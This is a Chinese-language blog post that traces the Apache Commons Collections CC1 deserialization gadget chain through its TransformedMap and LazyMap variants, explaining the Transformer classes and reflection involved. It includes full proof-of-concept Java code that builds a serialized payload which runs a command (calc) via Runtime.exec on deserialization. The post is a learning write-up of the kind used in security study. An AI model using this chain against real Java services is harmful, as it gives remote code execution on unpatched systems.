携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第15天,点击查看活动详情
引子
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。 作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。 Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
环境
- CommonsCollections <= 3.2.1
- java < 8u71
Transformer接口
接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出):
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
实现了Transformer接口的一个类,实例化类时通过构造函数传入一个对象,在调用其transform()方法将这个对象再返回,在执行回调时方便后续操作(传给InvokerTransformer的transform方法)。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer
InvokerTransformer也是实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
举例,先写一个简单的反射
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
通过InvokerTransformer 我们便可以简化成
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
运行会发现他们的执行效果是一样的。我们就可以在这实行危险方法。
ChainedTransformer
ChainedTransformer也实现了Transformer接口,实例化时传入一Transformer数组,其transform方法将内部的多个Transformer串在一起。前一个回调返回的结果,作为后一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
起到一个修饰器的作用,因为私有属性不能直接调用TransformedMap,我们简介利用上面的静态decorate.
利用
了解了以上几点,我们就跟着看一遍TransformedMap这条链是如何利用的。InvokerTransformer中在实例化时需要传入三个参数(方法名,参数类型,参数列表)。
可以看到我们的参数是可控的,所以存在危险。接下来找一找哪里调用了InvokerTransformer类的transform方法。 跟进到TransformedMap类 发现调用了transform方法。提供了一个静态方法decorate,可以返回一个TransformedMap对象。 而在checkSetValue方法 中,又调用了valueTransformer的transform.到此我们可以得出
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("value(),1111");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
因为我们只用value中的checkSetValue,所以key的值设为null.
只要我们能控制value的值,便可以进行攻击,于是我们跟checkSetValue 方法。
发现AbstractInputCheckedMapDecorator类的MapEntry方法调用了checkSetValue。
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
遍历修饰过的Map,就会走到MapEntry方法的setValue方法。
for (Map.Entry entry: transformedMap.entrySet()) {
// 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
entry.setValue(runtime);
接着就会调用checkSetValue方法,也就是回到了TransformedMap的checkSetValue。
在sun.reflect.annotation.AnnotationInvocationHandler类找到了使用 readObject 调用的函数 memberValue.setValue,根据其构造方法,我们分析第一个参数type是一个Class对象,第二个参数memberValues是一个Map对象,而Map对象就可以是我们修饰的TransformedMap 。
到此为止,我们有两个问题:
1.Runtime未实现序列化,因此没有继承 serializable 接口,所以我们的runtime就传不进去。
2. AnnotationTypeMismatchExceptionProxy 是无法控制的
解决方法:
1.Runtime.class是可以序列化的,因此我们可以通过反射来利用。
这时可以用到
ChainedTransformer ,传入的是一个Transformer[]数组,我们可以把要调用的方法全都写进去,然后transform方法会进行一个递归的调用。
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
之前传入的是invokerTransformer,我们全都改写成了chainedTransformer,所以直接传入chainedTransformer对象就好了。
2.可能是没进入if,或者是setvalue出错
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法 被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
可以看到memberType使用get方法查找,name来自于我们传入的key值,可控;而memberTypes来自于annotationType的成员变量,所以我们需要控制传入的key值与注解的成员变量相同。Target注解的成员变量有value,进入if继续跟进,会发现value到check时不是我们想要的Runtime.class,这里利用ConstantTransformer,将其写到最前面
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
至此跟完这一条链,整个链的poc如下:
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};
// ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是构造函数时传入一个对象,并在 transform 方法将这个对象返回
Transformer transformerChain = new ChainedTransformer(transformers);
// chainedtransformer 作用是将内部的多个 transformer 串在一起,将前一个回调结果作为后一个的参数传入
Map innerMap = new HashMap();
innerMap.put("value", "xxxx"); // 第一个值必须为value
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
HashMap hashMap = new HashMap();
Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap链
先看一下LazyMap类
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
我们看到里面get方法,当key不存在时,调用transform,把执行结果作为该key所对应的数据,并添加到到map里。我们跟进factory,通过decorate(),可以建一个LazyMap对象,get方法并不可控,所以需要寻找一个特定的可序列化类,该类重写了readObject( )函数,并且在readObject( )中调用了lazyMap的get()函数。
我们先要在上面链子的基础上改成
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
在sun.reflect.annotation.AnnotationInvocationHandler的readobj中没有找到直接调用Map的get方法。但是在AnnotationInvocationHandler类中的invoke方法调用到了get
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
可以看到
Object result = memberValues.get(member);
switch函数的作用是判断var7变量值,只要var7的值为0、1、2之外的值,就可以进入default分支,需要我们找到这样一个无参构造
readObject方法里面,不需要任何处理就会自己调用一个无参方法entrySet(),所以我们只需要控制memberValues传入的是动态代理的实例对象,即可进入到invoke方法调用get方法,进而调用transform执行命令
整条链的攻击过程就是
is.memberValues是可控的,当其是一个AnnotationInvocationHandler类生成的动态代理对象时,在调用entrySet()方法时,会自动去调用invoke方法,所以让memberValues等于LazyMap。
POC
package CC.CC1.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);//
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o =(Object) ois.readObject();
}
}
结语
当初跟的时候对于我这个小白还是挺绕的,个人感觉跟完CC1后再跟其他的链就很简单了,跟的时候注意一下反射和动态代理的用法,有兴趣的小伙伴可以自己去调试跟一下,收获很大,欢迎小伙伴们点赞收藏评论。